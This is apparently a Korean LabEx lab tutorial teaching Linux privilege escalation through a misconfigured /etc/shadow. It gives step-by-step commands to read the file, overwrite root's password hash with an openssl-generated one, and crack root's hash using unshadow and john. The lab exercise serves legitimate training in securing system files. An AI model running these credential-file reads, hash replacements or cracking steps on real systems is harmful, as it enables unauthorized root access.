소개
리눅스 시스템은 사용자 인증 및 접근 제어를 위해 /etc/passwd 및 /etc/shadow 파일을 사용합니다. 시스템 관리자가 이러한 파일의 권한 또는 내용을 잘못 구성하면 권한 상승 공격의 기회를 만들 수 있습니다. 이 랩에서는 /etc/shadow 파일을 활용하여 리눅스 시스템에서 root 권한을 얻는 방법을 배우게 됩니다. 이 시나리오는 이미 일반 사용자로 초기 낮은 권한의 셸 접근 권한을 얻었다고 가정합니다.
/etc/shadow 파일 이해
이 단계에서는 /etc/shadow 파일의 구조와 목적에 대해 배우게 됩니다.
/etc/shadow 파일은 각 사용자 계정에 대한 암호화된 암호와 암호 관련 구성 정보를 저장합니다. 파일의 각 줄은 하나의 사용자를 나타내며, 9 개의 콜론으로 구분된 필드를 포함합니다.
- 사용자 이름 (Username)
- 암호화된 암호 해시 (Encrypted password hash)
- 에포크 (1970-01-01) 이후 암호가 마지막으로 변경된 날짜 수
- 암호 변경 간의 최소 일수
- 암호 유효 기간의 최대 일수
- 암호 만료 전 사용자에게 경고할 일수
- 계정이 비활성화되기 전 암호 만료 후 일수
- 계정이 비활성화될 에포크 (1970-01-01) 이후의 날짜 수
- 향후 사용을 위한 예약 필드
터미널을 열고 /home/labex/project 디렉토리로 이동합니다.
cd /home/labex/project
/etc/shadow 파일에서 labex 사용자의 항목을 확인해 보겠습니다.
sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt
/etc/shadow 파일을 읽기 위해 sudo를 사용했습니다. 이는 해당 파일이 root 사용자만 읽을 수 있기 때문입니다.
labex_shadow.txt 파일의 내용을 확인합니다.
cat labex_shadow.txt
예시 출력:
labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::
이 줄은 다음을 나타냅니다.
- 사용자 이름:
labex - 암호화된 암호 해시:
$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8 - 마지막 암호 변경: 에포크 (1970-01-01) 이후 19818 일
- 최소 암호 사용 기간: 0 일 (제한 없음)
- 최대 암호 사용 기간: 99999 일 (만료 없음)
- 암호 경고 기간: 만료 7 일 전
- 계정 만료 없음
기본적으로 root 사용자만 /etc/shadow 파일을 읽고 수정할 수 있습니다. 그러나, misconfigured된 권한은 때때로 권한 상승의 기회를 제공할 수 있습니다.
/etc/shadow 파일 쓰기 권한으로 권한 상승
이 단계에서는 /etc/shadow 파일에 대한 쓰기 권한이 있는 경우, 해당 파일에서 root 암호를 수정하여 권한을 상승시키는 방법을 배우게 됩니다.
먼저, 터미널을 열고
/home/labex/project디렉토리로 이동합니다.cd /home/labex/project디렉토리에서
env_setup_1.sh라는 스크립트를 찾을 수 있습니다. 이 스크립트를 실행하여 환경을 설정합니다../env_setup_1.sh이것은 환경을 설정하고
user001사용자로 전환하여 초기 낮은 권한의 셸 접근을 시뮬레이션합니다.user001홈 디렉토리로 이동합니다.cd ~다음으로,
/etc/shadow파일의 권한을 확인합니다.ls -alh /etc/shadow예시 출력:
-rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadowmisconfiguration으로 인해user001사용자가/etc/shadow파일에 대한 쓰기 권한을 가지고 있음을 확인할 수 있습니다.이제
/etc/shadow파일을 편집하고 root 사용자의 암호 해시를 새 해시로 바꿀 수 있습니다.먼저, 현재 root 암호 해시를 확인합니다.
cat /etc/shadow | grep root예시 출력:
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::새 암호 (예:
pass123) 를 설정하려면openssl유틸리티를 사용하여 새 암호 해시를 생성합니다.openssl passwd -1 -salt ignite pass123예시 출력:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1텍스트 편집기에서
/etc/shadow파일을 열고 root 사용자의 암호 해시를 새 해시로 바꿉니다.nano /etc/shadowroot 사용자의 암호 해시를 찾습니다.
root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::암호 해시를 새 해시로 바꿉니다.
root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::변경 사항을 저장하고 편집기를 종료합니다.
마지막으로,
su root명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 새 암호pass123을 입력합니다.su root
이제 시스템에서 root 권한을 갖게 됩니다.
/etc/shadow 파일 읽기 권한으로 권한 상승
이 단계에서는 /etc/shadow 파일에 대한 읽기 권한만 있는 경우, root 암호 해시를 크래킹하여 권한을 상승시키는 방법을 배우게 됩니다.
이전 단계를 완료한 후, root 사용자로 유지되어야 합니다. labex 사용자에 도달할 때까지 새 터미널을 열거나 exit 명령을 사용하여 현재 사용자를 로그아웃할 수 있습니다.
labex사용자인 경우,/home/labex/project디렉토리로 이동합니다.cd /home/labex/projectenv_setup_2.sh스크립트를 실행하여 환경을 설정합니다../env_setup_2.sh이것은
user001사용자가/etc/shadow파일에 대한 읽기 권한을 갖는 새로운 환경을 설정합니다.user001홈 디렉토리로 이동합니다.cd ~/etc/shadow파일의 권한을 확인합니다.ls -alh /etc/shadow예시 출력:
-rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadowmisconfiguration으로 인해user001사용자가/etc/shadow파일에 대한 읽기 권한을 가지고 있음을 확인할 수 있습니다.다음으로,
john도구를 사용하여 root 사용자의 암호 해시를 크래킹할 수 있습니다.john을 사용하기 전에,unshadow명령을 사용하여/etc/passwd및/etc/shadow파일의 내용을 결합해야 합니다.unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt이제
shadow_crack.txt파일에서john을 실행하여 root 사용자의 암호 해시를 크래킹하고 크래킹된 암호를 파일에 저장합니다.john --users=root shadow_crack.txt > cracked_passwords.txt크래킹된 암호를 보려면
cracked_passwords.txt파일의 내용을 확인합니다.Loaded 1 password hash (md5crypt [MD5 32/64 X2]) study (root)마지막으로,
su root명령을 사용하여 root 사용자로 전환하고, 메시지가 표시되면 크래킹된 암호study를 입력합니다.su root
이제 시스템에서 root 권한을 갖게 됩니다.
요약
이 Lab 에서는 /etc/shadow 파일의 구조와 목적, 그리고 이 파일을 활용하여 권한을 상승시키는 두 가지 방법 (쓰기 권한으로 root 암호 해시 수정 또는 읽기 권한으로 root 암호 해시 크래킹) 에 대해 배웠습니다. 이러한 기술은 Linux 환경에서 파일 권한을 적절하게 구성하고 민감한 시스템 파일을 안전하게 보호하는 것의 중요성을 보여줍니다.